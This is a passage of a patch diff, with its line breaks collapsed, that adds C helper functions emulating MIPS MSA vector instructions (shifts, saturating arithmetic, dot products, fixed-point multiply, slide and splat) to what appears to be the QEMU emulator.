UNSIGNED(arg2, df); + return u_arg1 > u_arg2 ? arg1 : arg2; +} + +static inline int64_t msa_min_s_df(uint32_t df, int64_t arg1, int64_t arg2) +{ + return arg1 < arg2 ? arg1 : arg2; +} + +static inline int64_t msa_min_u_df(uint32_t df, int64_t arg1, int64_t arg2) +{ + uint64_t u_arg1 = UNSIGNED(arg1, df); + uint64_t u_arg2 = UNSIGNED(arg2, df); + return u_arg1 < u_arg2 ? arg1 : arg2; +} + +#define MSA_BINOP_IMM_DF(helper, func) \ +void helper_msa_ ## helper ## _df(CPUMIPSState *env, uint32_t df, \ + uint32_t wd, uint32_t ws, int32_t u5) \ +{ \ + wr_t *pwd = &(env->active_fpu.fpr[wd].wr); \ + wr_t *pws = &(env->active_fpu.fpr[ws].wr); \ + uint32_t i; \ + \ + switch (df) { \ + case DF_BYTE: \ + for (i = 0; i < DF_ELEMENTS(DF_BYTE); i++) { \ + pwd->b[i] = msa_ ## func ## _df(df, pws->b[i], u5); \ + } \ + break; \ + case DF_HALF: \ + for (i = 0; i < DF_ELEMENTS(DF_HALF); i++) { \ + pwd->h[i] = msa_ ## func ## _df(df, pws->h[i], u5); \ + } \ + break; \ + case DF_WORD: \ + for (i = 0; i < DF_ELEMENTS(DF_WORD); i++) { \ + pwd->w[i] = msa_ ## func ## _df(df, pws->w[i], u5); \ + } \ + break; \ + case DF_DOUBLE: \ + for (i = 0; i < DF_ELEMENTS(DF_DOUBLE); i++) { \ + pwd->d[i] = msa_ ## func ## _df(df, pws->d[i], u5); \ + } \ + break; \ + default: \ + assert(0); \ + } \ +} + +MSA_BINOP_IMM_DF(addvi, addv) +MSA_BINOP_IMM_DF(subvi, subv) +MSA_BINOP_IMM_DF(ceqi, ceq) +MSA_BINOP_IMM_DF(clei_s, cle_s) +MSA_BINOP_IMM_DF(clei_u, cle_u) +MSA_BINOP_IMM_DF(clti_s, clt_s) +MSA_BINOP_IMM_DF(clti_u, clt_u) +MSA_BINOP_IMM_DF(maxi_s, max_s) +MSA_BINOP_IMM_DF(maxi_u, max_u) +MSA_BINOP_IMM_DF(mini_s, min_s) +MSA_BINOP_IMM_DF(mini_u, min_u) +#undef MSA_BINOP_IMM_DF + +void helper_msa_ldi_df(CPUMIPSState *env, uint32_t df, uint32_t wd, + int32_t s10) +{ + wr_t *pwd = &(env->active_fpu.fpr[wd].wr); + uint32_t i; + + switch (df) { + case DF_BYTE: + for (i = 0; i < DF_ELEMENTS(DF_BYTE); i++) { + pwd->b[i] = (int8_t)s10; + } + break; + case DF_HALF: + for (i = 0; i < DF_ELEMENTS(DF_HALF); i++) { + pwd->h[i] = (int16_t)s10; + } + break; + case DF_WORD: + for (i = 0; i < DF_ELEMENTS(DF_WORD); i++) { + pwd->w[i] = (int32_t)s10; + } + break; + case DF_DOUBLE: + for (i = 0; i < DF_ELEMENTS(DF_DOUBLE); i++) { + pwd->d[i] = (int64_t)s10; + } + break; + default: + assert(0); + } +} + +/* Data format bit position and unsigned values */ +#define BIT_POSITION(x, df) ((uint64_t)(x) % DF_BITS(df)) + +static inline int64_t msa_sll_df(uint32_t df, int64_t arg1, int64_t arg2) +{ + int32_t b_arg2 = BIT_POSITION(arg2, df); + return arg1 << b_arg2; +} + +static inline int64_t msa_sra_df(uint32_t df, int64_t arg1, int64_t arg2) +{ + int32_t b_arg2 = BIT_POSITION(arg2, df); + return arg1 >> b_arg2; +} + +static inline int64_t msa_srl_df(uint32_t df, int64_t arg1, int64_t arg2) +{ + uint64_t u_arg1 = UNSIGNED(arg1, df); + int32_t b_arg2 = BIT_POSITION(arg2, df); + return u_arg1 >> b_arg2; +} + +static inline int64_t msa_bclr_df(uint32_t df, int64_t arg1, int64_t arg2) +{ + int32_t b_arg2 = BIT_POSITION(arg2, df); + return UNSIGNED(arg1 & (~(1LL << b_arg2)), df); +} + +static inline int64_t msa_bset_df(uint32_t df, int64_t arg1, + int64_t arg2) +{ + int32_t b_arg2 = BIT_POSITION(arg2, df); + return UNSIGNED(arg1 | (1LL << b_arg2), df); +} + +static inline int64_t msa_bneg_df(uint32_t df, int64_t arg1, int64_t arg2) +{ + int32_t b_arg2 = BIT_POSITION(arg2, df); + return UNSIGNED(arg1 ^ (1LL << b_arg2), df); +} + +static inline int64_t msa_binsl_df(uint32_t df, int64_t dest, int64_t arg1, + int64_t arg2) +{ + uint64_t u_arg1 = UNSIGNED(arg1, df); + uint64_t u_dest = UNSIGNED(dest, df); + int32_t sh_d = BIT_POSITION(arg2, df) + 1; + int32_t sh_a = DF_BITS(df) - sh_d; + if (sh_d == DF_BITS(df)) { + return u_arg1; + } else { + return UNSIGNED(UNSIGNED(u_dest << sh_d, df) >> sh_d, df) | + UNSIGNED(UNSIGNED(u_arg1 >> sh_a, df) << sh_a, df); + } +} + +static inline int64_t msa_binsr_df(uint32_t df, int64_t dest, int64_t arg1, + int64_t arg2) +{ + uint64_t u_arg1 = UNSIGNED(arg1, df); + uint64_t u_dest = UNSIGNED(dest, df); + int32_t sh_d = BIT_POSITION(arg2, df) + 1; + int32_t sh_a = DF_BITS(df) - sh_d; + if (sh_d == DF_BITS(df)) { + return u_arg1; + } else { + return UNSIGNED(UNSIGNED(u_dest >> sh_d, df) << sh_d, df) | + UNSIGNED(UNSIGNED(u_arg1 << sh_a, df) >> sh_a, df); + } +} + +static inline int64_t msa_sat_s_df(uint32_t df, int64_t arg, uint32_t m) +{ + return arg < M_MIN_INT(m+1) ? M_MIN_INT(m+1) : + arg > M_MAX_INT(m+1) ? M_MAX_INT(m+1) : + arg; +} + +static inline int64_t msa_sat_u_df(uint32_t df, int64_t arg, uint32_t m) +{ + uint64_t u_arg = UNSIGNED(arg, df); + return u_arg < M_MAX_UINT(m+1) ? u_arg : + M_MAX_UINT(m+1); +} + +static inline int64_t msa_srar_df(uint32_t df, int64_t arg1, int64_t arg2) +{ + int32_t b_arg2 = BIT_POSITION(arg2, df); + if (b_arg2 == 0) { + return arg1; + } else { + int64_t r_bit = (arg1 >> (b_arg2 - 1)) & 1; + return (arg1 >> b_arg2) + r_bit; + } +} + +static inline int64_t msa_srlr_df(uint32_t df, int64_t arg1, int64_t arg2) +{ + uint64_t u_arg1 = UNSIGNED(arg1, df); + int32_t b_arg2 = BIT_POSITION(arg2, df); + if (b_arg2 == 0) { + return u_arg1; + } else { + uint64_t r_bit = (u_arg1 >> (b_arg2 - 1)) & 1; + return (u_arg1 >> b_arg2) + r_bit; + } +} + +#define MSA_BINOP_IMMU_DF(helper, func) \ +void helper_msa_ ## helper ## _df(CPUMIPSState *env, uint32_t df, uint32_t wd, \ + uint32_t ws, uint32_t u5) \ +{ \ + wr_t *pwd = &(env->active_fpu.fpr[wd].wr); \ + wr_t *pws = &(env->active_fpu.fpr[ws].wr); \ + uint32_t i; \ + \ + switch (df) { \ + case DF_BYTE: \ + for (i = 0; i < DF_ELEMENTS(DF_BYTE); i++) { \ + pwd->b[i] = msa_ ## func ## _df(df, pws->b[i], u5); \ + } \ + break; \ + case DF_HALF: \ + for (i = 0; i < DF_ELEMENTS(DF_HALF); i++) { \ + pwd->h[i] = msa_ ## func ## _df(df, pws->h[i], u5); \ + } \ + break; \ + case DF_WORD: \ + for (i = 0; i < DF_ELEMENTS(DF_WORD); i++) { \ + pwd->w[i] = msa_ ## func ## _df(df, pws->w[i], u5); \ + } \ + break; \ + case DF_DOUBLE: \ + for (i = 0; i < DF_ELEMENTS(DF_DOUBLE); i++) { \ + pwd->d[i] = msa_ ## func ## _df(df, pws->d[i], u5); \ + } \ + break; \ + default: \ + assert(0); \ + } \ +} + +MSA_BINOP_IMMU_DF(slli, sll) +MSA_BINOP_IMMU_DF(srai, sra) +MSA_BINOP_IMMU_DF(srli, srl) +MSA_BINOP_IMMU_DF(bclri, bclr) +MSA_BINOP_IMMU_DF(bseti, bset) +MSA_BINOP_IMMU_DF(bnegi, bneg) +MSA_BINOP_IMMU_DF(sat_s, sat_s) +MSA_BINOP_IMMU_DF(sat_u, sat_u) +MSA_BINOP_IMMU_DF(srari, srar) +MSA_BINOP_IMMU_DF(srlri, srlr) +#undef MSA_BINOP_IMMU_DF + +#define MSA_TEROP_IMMU_DF(helper, func) \ +void helper_msa_ ## helper ## _df(CPUMIPSState *env, uint32_t df, \ + uint32_t wd, uint32_t ws, uint32_t u5) \ +{ \ + wr_t *pwd = &(env->active_fpu.fpr[wd].wr); \ + wr_t *pws = &(env->active_fpu.fpr[ws].wr); \ + uint32_t i; \ + \ + switch (df) { \ + case DF_BYTE: \ + for (i = 0; i < DF_ELEMENTS(DF_BYTE); i++) { \ + pwd->b[i] = msa_ ## func ## _df(df, pwd->b[i], pws->b[i], \ + u5); \ + } \ + break; \ + case DF_HALF: \ + for (i = 0; i < DF_ELEMENTS(DF_HALF); i++) { \ + pwd->h[i] = msa_ ## func ## _df(df, pwd->h[i], pws->h[i], \ + u5); \ + } \ + break; \ + case DF_WORD: \ + for (i = 0; i < DF_ELEMENTS(DF_WORD); i++) { \ + pwd->w[i] = msa_ ## func ## _df(df, pwd->w[i], pws->w[i], \ + u5); \ + } \ + break; \ + case DF_DOUBLE: \ + for (i = 0; i < DF_ELEMENTS(DF_DOUBLE); i++) { \ + pwd->d[i] = msa_ ## func ## _df(df, pwd->d[i], pws->d[i], \ + u5); \ + } \ + break; \ + default: \ + assert(0); \ + } \ +} + +MSA_TEROP_IMMU_DF(binsli, binsl) +MSA_TEROP_IMMU_DF(binsri, binsr) +#undef MSA_TEROP_IMMU_DF + +static inline int64_t msa_max_a_df(uint32_t df, int64_t arg1, int64_t arg2) +{ + uint64_t abs_arg1 = arg1 >= 0 ? arg1 : -arg1; + uint64_t abs_arg2 = arg2 >= 0 ? arg2 : -arg2; + return abs_arg1 > abs_arg2 ? arg1 : arg2; +} + +static inline int64_t msa_min_a_df(uint32_t df, int64_t arg1, int64_t arg2) +{ + uint64_t abs_arg1 = arg1 >= 0 ? arg1 : -arg1; + uint64_t abs_arg2 = arg2 >= 0 ? arg2 : -arg2; + return abs_arg1 < abs_arg2 ? arg1 : arg2; +} + +static inline int64_t msa_add_a_df(uint32_t df, int64_t arg1, int64_t arg2) +{ + uint64_t abs_arg1 = arg1 >= 0 ? arg1 : -arg1; + uint64_t abs_arg2 = arg2 >= 0 ? arg2 : -arg2; + return abs_arg1 + abs_arg2; +} + +static inline int64_t msa_adds_a_df(uint32_t df, int64_t arg1, int64_t arg2) +{ + uint64_t max_int = (uint64_t)DF_MAX_INT(df); + uint64_t abs_arg1 = arg1 >= 0 ? arg1 : -arg1; + uint64_t abs_arg2 = arg2 >= 0 ? arg2 : -arg2; + if (abs_arg1 > max_int || abs_arg2 > max_int) { + return (int64_t)max_int; + } else { + return (abs_arg1 < max_int - abs_arg2) ? abs_arg1 + abs_arg2 : max_int; + } +} + +static inline int64_t msa_adds_s_df(uint32_t df, int64_t arg1, int64_t arg2) +{ + int64_t max_int = DF_MAX_INT(df); + int64_t min_int = DF_MIN_INT(df); + if (arg1 < 0) { + return (min_int - arg1 < arg2) ? arg1 + arg2 : min_int; + } else { + return (arg2 < max_int - arg1) ? arg1 + arg2 : max_int; + } +} + +static inline uint64_t msa_adds_u_df(uint32_t df, uint64_t arg1, uint64_t arg2) +{ + uint64_t max_uint = DF_MAX_UINT(df); + uint64_t u_arg1 = UNSIGNED(arg1, df); + uint64_t u_arg2 = UNSIGNED(arg2, df); + return (u_arg1 < max_uint - u_arg2) ? u_arg1 + u_arg2 : max_uint; +} + +static inline int64_t msa_ave_s_df(uint32_t df, int64_t arg1, int64_t arg2) +{ + /* signed shift */ + return (arg1 >> 1) + (arg2 >> 1) + (arg1 & arg2 & 1); +} + +static inline uint64_t msa_ave_u_df(uint32_t df, uint64_t arg1, uint64_t arg2) +{ + uint64_t u_arg1 = UNSIGNED(arg1, df); + uint64_t u_arg2 = UNSIGNED(arg2, df); + /* unsigned shift */ + return (u_arg1 >> 1) + (u_arg2 >> 1) + (u_arg1 & u_arg2 & 1); +} + +static inline int64_t msa_aver_s_df(uint32_t df, int64_t arg1, int64_t arg2) +{ + /* signed shift */ + return (arg1 >> 1) + (arg2 >> 1) + ((arg1 | arg2) & 1); +} + +static inline uint64_t msa_aver_u_df(uint32_t df, uint64_t arg1, uint64_t arg2) +{ + uint64_t u_arg1 = UNSIGNED(arg1, df); + uint64_t u_arg2 = UNSIGNED(arg2, df); + /* unsigned shift */ + return (u_arg1 >> 1) + (u_arg2 >> 1) + ((u_arg1 | u_arg2) & 1); +} + +static inline int64_t msa_subs_s_df(uint32_t df, int64_t arg1, int64_t arg2) +{ + int64_t max_int = DF_MAX_INT(df); + int64_t min_int = DF_MIN_INT(df); + if (arg2 > 0) { + return (min_int + arg2 < arg1) ? arg1 - arg2 : min_int; + } else { + return (arg1 < max_int + arg2) ? arg1 - arg2 : max_int; + } +} + +static inline int64_t msa_subs_u_df(uint32_t df, int64_t arg1, int64_t arg2) +{ + uint64_t u_arg1 = UNSIGNED(arg1, df); + uint64_t u_arg2 = UNSIGNED(arg2, df); + return (u_arg1 > u_arg2) ? u_arg1 - u_arg2 : 0; +} + +static inline int64_t msa_subsus_u_df(uint32_t df, int64_t arg1, int64_t arg2) +{ + uint64_t u_arg1 = UNSIGNED(arg1, df); + uint64_t max_uint = DF_MAX_UINT(df); + if (arg2 >= 0) { + uint64_t u_arg2 = (uint64_t)arg2; + return (u_arg1 > u_arg2) ? + (int64_t)(u_arg1 - u_arg2) : + 0; + } else { + uint64_t u_arg2 = (uint64_t)(-arg2); + return (u_arg1 < max_uint - u_arg2) ? + (int64_t)(u_arg1 + u_arg2) : + (int64_t)max_uint; + } +} + +static inline int64_t msa_subsuu_s_df(uint32_t df, int64_t arg1, int64_t arg2) +{ + uint64_t u_arg1 = UNSIGNED(arg1, df); + uint64_t u_arg2 = UNSIGNED(arg2, df); + int64_t max_int = DF_MAX_INT(df); + int64_t min_int = DF_MIN_INT(df); + if (u_arg1 > u_arg2) { + return u_arg1 - u_arg2 < (uint64_t)max_int ? + (int64_t)(u_arg1 - u_arg2) : + max_int; + } else { + return u_arg2 - u_arg1 < (uint64_t)(-min_int) ? + (int64_t)(u_arg1 - u_arg2) : + min_int; + } +} + +static inline int64_t msa_asub_s_df(uint32_t df, int64_t arg1, int64_t arg2) +{ + /* signed compare */ + return (arg1 < arg2) ? + (uint64_t)(arg2 - arg1) : (uint64_t)(arg1 - arg2); +} + +static inline uint64_t msa_asub_u_df(uint32_t df, uint64_t arg1, uint64_t arg2) +{ + uint64_t u_arg1 = UNSIGNED(arg1, df); + uint64_t u_arg2 = UNSIGNED(arg2, df); + /* unsigned compare */ + return (u_arg1 < u_arg2) ? + (uint64_t)(u_arg2 - u_arg1) : (uint64_t)(u_arg1 - u_arg2); +} + +static inline int64_t msa_mulv_df(uint32_t df, int64_t arg1, int64_t arg2) +{ + return arg1 * arg2; +} + +static inline int64_t msa_div_s_df(uint32_t df, int64_t arg1, int64_t arg2) +{ + if (arg1 == DF_MIN_INT(df) && arg2 == -1) { + return DF_MIN_INT(df); + } + return arg2 ? arg1 / arg2 : 0; +} + +static inline int64_t msa_div_u_df(uint32_t df, int64_t arg1, int64_t arg2) +{ + uint64_t u_arg1 = UNSIGNED(arg1, df); + uint64_t u_arg2 = UNSIGNED(arg2, df); + return u_arg2 ? u_arg1 / u_arg2 : 0; +} + +static inline int64_t msa_mod_s_df(uint32_t df, int64_t arg1, int64_t arg2) +{ + if (arg1 == DF_MIN_INT(df) && arg2 == -1) { + return 0; + } + return arg2 ? arg1 % arg2 : 0; +} + +static inline int64_t msa_mod_u_df(uint32_t df, int64_t arg1, int64_t arg2) +{ + uint64_t u_arg1 = UNSIGNED(arg1, df); + uint64_t u_arg2 = UNSIGNED(arg2, df); + return u_arg2 ? u_arg1 % u_arg2 : 0; +} + +#define SIGNED_EVEN(a, df) \ + ((((int64_t)(a)) << (64 - DF_BITS(df)/2)) >> (64 - DF_BITS(df)/2)) + +#define UNSIGNED_EVEN(a, df) \ + ((((uint64_t)(a)) << (64 - DF_BITS(df)/2)) >> (64 - DF_BITS(df)/2)) + +#define SIGNED_ODD(a, df) \ + ((((int64_t)(a)) << (64 - DF_BITS(df))) >> (64 - DF_BITS(df)/2)) + +#define UNSIGNED_ODD(a, df) \ + ((((uint64_t)(a)) << (64 - DF_BITS(df))) >> (64 - DF_BITS(df)/2)) + +#define SIGNED_EXTRACT(e, o, a, df) \ + do { \ + e = SIGNED_EVEN(a, df); \ + o = SIGNED_ODD(a, df); \ + } while (0); + +#define UNSIGNED_EXTRACT(e, o, a, df) \ + do { \ + e = UNSIGNED_EVEN(a, df); \ + o = UNSIGNED_ODD(a, df); \ + } while (0); + +static inline int64_t msa_dotp_s_df(uint32_t df, int64_t arg1, int64_t arg2) +{ + int64_t even_arg1; + int64_t even_arg2; + int64_t odd_arg1; + int64_t odd_arg2; + SIGNED_EXTRACT(even_arg1, odd_arg1, arg1, df); + SIGNED_EXTRACT(even_arg2, odd_arg2, arg2, df); + return (even_arg1 * even_arg2) + (odd_arg1 * odd_arg2); +} + +static inline int64_t msa_dotp_u_df(uint32_t df, int64_t arg1, int64_t arg2) +{ + int64_t even_arg1; + int64_t even_arg2; + int64_t odd_arg1; + int64_t odd_arg2; + UNSIGNED_EXTRACT(even_arg1, odd_arg1, arg1, df); + UNSIGNED_EXTRACT(even_arg2, odd_arg2, arg2, df); + return (even_arg1 * even_arg2) + (odd_arg1 * odd_arg2); +} + +#define CONCATENATE_AND_SLIDE(s, k) \ + do { \ + for (i = 0; i < s; i++) { \ + v[i] = pws->b[s * k + i]; \ + v[i + s] = pwd->b[s * k + i]; \ + } \ + for (i = 0; i < s; i++) { \ + pwd->b[s * k + i] = v[i + n]; \ + } \ + } while (0) + +static inline void msa_sld_df(uint32_t df, wr_t *pwd, + wr_t *pws, target_ulong rt) +{ + uint32_t n = rt % DF_ELEMENTS(df); + uint8_t v[64]; + uint32_t i, k; + + switch (df) { + case DF_BYTE: + CONCATENATE_AND_SLIDE(DF_ELEMENTS(DF_BYTE), 0); + break; + case DF_HALF: + for (k = 0; k < 2; k++) { + CONCATENATE_AND_SLIDE(DF_ELEMENTS(DF_HALF), k); + } + break; + case DF_WORD: + for (k = 0; k < 4; k++) { + CONCATENATE_AND_SLIDE(DF_ELEMENTS(DF_WORD), k); + } + break; + case DF_DOUBLE: + for (k = 0; k < 8; k++) { + CONCATENATE_AND_SLIDE(DF_ELEMENTS(DF_DOUBLE), k); + } + break; + default: + assert(0); + } +} + +static inline int64_t msa_hadd_s_df(uint32_t df, int64_t arg1, int64_t arg2) +{ + return SIGNED_ODD(arg1, df) + SIGNED_EVEN(arg2, df); +} + +static inline int64_t msa_hadd_u_df(uint32_t df, int64_t arg1, int64_t arg2) +{ + return UNSIGNED_ODD(arg1, df) + UNSIGNED_EVEN(arg2, df); +} + +static inline int64_t msa_hsub_s_df(uint32_t df, int64_t arg1, int64_t arg2) +{ + return SIGNED_ODD(arg1, df) - SIGNED_EVEN(arg2, df); +} + +static inline int64_t msa_hsub_u_df(uint32_t df, int64_t arg1, int64_t arg2) +{ + return UNSIGNED_ODD(arg1, df) - UNSIGNED_EVEN(arg2, df); +} + +static inline int64_t msa_mul_q_df(uint32_t df, int64_t arg1, int64_t arg2) +{ + int64_t q_min = DF_MIN_INT(df); + int64_t q_max = DF_MAX_INT(df); + + if (arg1 == q_min && arg2 == q_min) { + return q_max; + } + return (arg1 * arg2) >> (DF_BITS(df) - 1); +} + +static inline int64_t msa_mulr_q_df(uint32_t df, int64_t arg1, int64_t arg2) +{ + int64_t q_min = DF_MIN_INT(df); + int64_t q_max = DF_MAX_INT(df); + int64_t r_bit = (int64_t)1 << (DF_BITS(df) - 2); + + if (arg1 == q_min && arg2 == q_min) { + return q_max; + } + return (arg1 * arg2 + r_bit) >> (DF_BITS(df) - 1); +} + +#define MSA_BINOP_DF(func) \ +void helper_msa_ ## func ## _df(CPUMIPSState *env, uint32_t df, \ + uint32_t wd, uint32_t ws, uint32_t wt) \ +{ \ + wr_t *pwd = &(env->active_fpu.fpr[wd].wr); \ + wr_t *pws = &(env->active_fpu.fpr[ws].wr); \ + wr_t *pwt = &(env->active_fpu.fpr[wt].wr); \ + uint32_t i; \ + \ + switch (df) { \ + case DF_BYTE: \ + for (i = 0; i < DF_ELEMENTS(DF_BYTE); i++) { \ + pwd->b[i] = msa_ ## func ## _df(df, pws->b[i], pwt->b[i]); \ + } \ + break; \ + case DF_HALF: \ + for (i = 0; i < DF_ELEMENTS(DF_HALF); i++) { \ + pwd->h[i] = msa_ ## func ## _df(df, pws->h[i], pwt->h[i]); \ + } \ + break; \ + case DF_WORD: \ + for (i = 0; i < DF_ELEMENTS(DF_WORD); i++) { \ + pwd->w[i] = msa_ ## func ## _df(df, pws->w[i], pwt->w[i]); \ + } \ + break; \ + case DF_DOUBLE: \ + for (i = 0; i < DF_ELEMENTS(DF_DOUBLE); i++) { \ + pwd->d[i] = msa_ ## func ## _df(df, pws->d[i], pwt->d[i]); \ + } \ + break; \ + default: \ + assert(0); \ + } \ +} + +MSA_BINOP_DF(sll) +MSA_BINOP_DF(sra) +MSA_BINOP_DF(srl) +MSA_BINOP_DF(bclr) +MSA_BINOP_DF(bset) +MSA_BINOP_DF(bneg) +MSA_BINOP_DF(addv) +MSA_BINOP_DF(subv) +MSA_BINOP_DF(max_s) +MSA_BINOP_DF(max_u) +MSA_BINOP_DF(min_s) +MSA_BINOP_DF(min_u) +MSA_BINOP_DF(max_a) +MSA_BINOP_DF(min_a) +MSA_BINOP_DF(ceq) +MSA_BINOP_DF(clt_s) +MSA_BINOP_DF(clt_u) +MSA_BINOP_DF(cle_s) +MSA_BINOP_DF(cle_u) +MSA_BINOP_DF(add_a) +MSA_BINOP_DF(adds_a) +MSA_BINOP_DF(adds_s) +MSA_BINOP_DF(adds_u) +MSA_BINOP_DF(ave_s) +MSA_BINOP_DF(ave_u) +MSA_BINOP_DF(aver_s) +MSA_BINOP_DF(aver_u) +MSA_BINOP_DF(subs_s) +MSA_BINOP_DF(subs_u) +MSA_BINOP_DF(subsus_u) +MSA_BINOP_DF(subsuu_s) +MSA_BINOP_DF(asub_s) +MSA_BINOP_DF(asub_u) +MSA_BINOP_DF(mulv) +MSA_BINOP_DF(div_s) +MSA_BINOP_DF(div_u) +MSA_BINOP_DF(mod_s) +MSA_BINOP_DF(mod_u) +MSA_BINOP_DF(dotp_s) +MSA_BINOP_DF(dotp_u) +MSA_BINOP_DF(srar) +MSA_BINOP_DF(srlr) +MSA_BINOP_DF(hadd_s) +MSA_BINOP_DF(hadd_u) +MSA_BINOP_DF(hsub_s) +MSA_BINOP_DF(hsub_u) + +MSA_BINOP_DF(mul_q) +MSA_BINOP_DF(mulr_q) +#undef MSA_BINOP_DF + +void helper_msa_sld_df(CPUMIPSState *env, uint32_t df, uint32_t wd, + uint32_t ws, uint32_t rt) +{ + wr_t *pwd = &(env->active_fpu.fpr[wd].wr); + wr_t *pws = &(env->active_fpu.fpr[ws].wr); + + msa_sld_df(df, pwd, pws, env->active_tc.gpr[rt]); +} + +static inline int64_t msa_maddv_df(uint32_t df, int64_t dest, int64_t arg1, + int64_t arg2) +{ + return dest + arg1 * arg2; +} + +static inline int64_t msa_msubv_df(uint32_t df, int64_t dest, int64_t arg1, + int64_t arg2) +{ + return dest - arg1 * arg2; +} + +static inline int64_t msa_dpadd_s_df(uint32_t df, int64_t dest, int64_t arg1, + int64_t arg2) +{ + int64_t even_arg1; + int64_t even_arg2; + int64_t odd_arg1; + int64_t odd_arg2; + SIGNED_EXTRACT(even_arg1, odd_arg1, arg1, df); + SIGNED_EXTRACT(even_arg2, odd_arg2, arg2, df); + return dest + (even_arg1 * even_arg2) + (odd_arg1 * odd_arg2); +} + +static inline int64_t msa_dpadd_u_df(uint32_t df, int64_t dest, int64_t arg1, + int64_t arg2) +{ + int64_t even_arg1; + int64_t even_arg2; + int64_t odd_arg1; + int64_t odd_arg2; + UNSIGNED_EXTRACT(even_arg1, odd_arg1, arg1, df); + UNSIGNED_EXTRACT(even_arg2, odd_arg2, arg2, df); + return dest + (even_arg1 * even_arg2) + (odd_arg1 * odd_arg2); +} + +static inline int64_t msa_dpsub_s_df(uint32_t df, int64_t dest, int64_t arg1, + int64_t arg2) +{ + int64_t even_arg1; + int64_t even_arg2; + int64_t odd_arg1; + int64_t odd_arg2; + SIGNED_EXTRACT(even_arg1, odd_arg1, arg1, df); + SIGNED_EXTRACT(even_arg2, odd_arg2, arg2, df); + return dest - ((even_arg1 * even_arg2) + (odd_arg1 * odd_arg2)); +} + +static inline int64_t msa_dpsub_u_df(uint32_t df, int64_t dest, int64_t arg1, + int64_t arg2) +{ + int64_t even_arg1; + int64_t even_arg2; + int64_t odd_arg1; + int64_t odd_arg2; + UNSIGNED_EXTRACT(even_arg1, odd_arg1, arg1, df); + UNSIGNED_EXTRACT(even_arg2, odd_arg2, arg2, df); + return dest - ((even_arg1 * even_arg2) + (odd_arg1 * odd_arg2)); +} + +static inline int64_t msa_madd_q_df(uint32_t df, int64_t dest, int64_t arg1, + int64_t arg2) +{ + int64_t q_prod, q_ret; + + int64_t q_max = DF_MAX_INT(df); + int64_t q_min = DF_MIN_INT(df); + + q_prod = arg1 * arg2; + q_ret = ((dest << (DF_BITS(df) - 1)) + q_prod) >> (DF_BITS(df) - 1); + + return (q_ret < q_min) ? q_min : (q_max < q_ret) ? q_max : q_ret; +} + +static inline int64_t msa_msub_q_df(uint32_t df, int64_t dest, int64_t arg1, + int64_t arg2) +{ + int64_t q_prod, q_ret; + + int64_t q_max = DF_MAX_INT(df); + int64_t q_min = DF_MIN_INT(df); + + q_prod = arg1 * arg2; + q_ret = ((dest << (DF_BITS(df) - 1)) - q_prod) >> (DF_BITS(df) - 1); + + return (q_ret < q_min) ? q_min : (q_max < q_ret) ? q_max : q_ret; +} + +static inline int64_t msa_maddr_q_df(uint32_t df, int64_t dest, int64_t arg1, + int64_t arg2) +{ + int64_t q_prod, q_ret; + + int64_t q_max = DF_MAX_INT(df); + int64_t q_min = DF_MIN_INT(df); + int64_t r_bit = (int64_t)1 << (DF_BITS(df) - 2); + + q_prod = arg1 * arg2; + q_ret = ((dest << (DF_BITS(df) - 1)) + q_prod + r_bit) >> (DF_BITS(df) - 1); + + return (q_ret < q_min) ? q_min : (q_max < q_ret) ? q_max : q_ret; +} + +static inline int64_t msa_msubr_q_df(uint32_t df, int64_t dest, int64_t arg1, + int64_t arg2) +{ + int64_t q_prod, q_ret; + + int64_t q_max = DF_MAX_INT(df); + int64_t q_min = DF_MIN_INT(df); + int64_t r_bit = (int64_t)1 << (DF_BITS(df) - 2); + + q_prod = arg1 * arg2; + q_ret = ((dest << (DF_BITS(df) - 1)) - q_prod + r_bit) >> (DF_BITS(df) - 1); + + return (q_ret < q_min) ? q_min : (q_max < q_ret) ? q_max : q_ret; +} + +#define MSA_TEROP_DF(func) \ +void helper_msa_ ## func ## _df(CPUMIPSState *env, uint32_t df, uint32_t wd, \ + uint32_t ws, uint32_t wt) \ +{ \ + wr_t *pwd = &(env->active_fpu.fpr[wd].wr); \ + wr_t *pws = &(env->active_fpu.fpr[ws].wr); \ + wr_t *pwt = &(env->active_fpu.fpr[wt].wr); \ + uint32_t i; \ + \ + switch (df) { \ + case DF_BYTE: \ + for (i = 0; i < DF_ELEMENTS(DF_BYTE); i++) { \ + pwd->b[i] = msa_ ## func ## _df(df, pwd->b[i], pws->b[i], \ + pwt->b[i]); \ + } \ + break; \ + case DF_HALF: \ + for (i = 0; i < DF_ELEMENTS(DF_HALF); i++) { \ + pwd->h[i] = msa_ ## func ## _df(df, pwd->h[i], pws->h[i], \ + pwt->h[i]); \ + } \ + break; \ + case DF_WORD: \ + for (i = 0; i < DF_ELEMENTS(DF_WORD); i++) { \ + pwd->w[i] = msa_ ## func ## _df(df, pwd->w[i], pws->w[i], \ + pwt->w[i]); \ + } \ + break; \ + case DF_DOUBLE: \ + for (i = 0; i < DF_ELEMENTS(DF_DOUBLE); i++) { \ + pwd->d[i] = msa_ ## func ## _df(df, pwd->d[i], pws->d[i], \ + pwt->d[i]); \ + } \ + break; \ + default: \ + assert(0); \ + } \ +} + +MSA_TEROP_DF(maddv) +MSA_TEROP_DF(msubv) +MSA_TEROP_DF(dpadd_s) +MSA_TEROP_DF(dpadd_u) +MSA_TEROP_DF(dpsub_s) +MSA_TEROP_DF(dpsub_u) +MSA_TEROP_DF(binsl) +MSA_TEROP_DF(binsr) +MSA_TEROP_DF(madd_q) +MSA_TEROP_DF(msub_q) +MSA_TEROP_DF(maddr_q) +MSA_TEROP_DF(msubr_q) +#undef MSA_TEROP_DF + +static inline void msa_splat_df(uint32_t df, wr_t *pwd, + wr_t *pws, target_ulong rt) +{ + uint32_t n = rt % DF_ELEMENTS(df); + uint32_t i; + + switch (df) { + case DF_BYTE: + for (i = 0; i < DF_ELEMENTS(DF_BYTE); i++) { + pwd->b[i] = pws->b[n]; + } + break; + case DF_HALF: + for (i = 0; i < DF_ELEMENTS(DF_HALF); i++) { + pwd->h[i] = pws->h[n]; + } + break; + case DF_WORD: + for (i = 0; i < DF_ELEMENTS(DF_WORD); i++) { + pwd->w[i] = pws->w[n]; + } + break; + case DF_DOUBLE: + for (i = 0; i < DF_ELEMENTS(DF_DOUBLE); i++) { + pwd->d[i] = pws->d[n]; + } + break; + default: + assert(0); + } +} + +void helper_msa_splat_df(CPUMIPSState *env, uint32_t df, uint32_t wd, + uint32_t ws, uint32_t rt) +{ + wr_t *pwd = &(env->active_fpu.fpr[wd].wr); + wr_t *pws = &(env->active_fpu.fpr[ws].wr); + + msa_splat_df(df, pwd, pws, env->active_tc.gpr[rt]); +} + +#define MSA_DO_B MSA_DO(b) 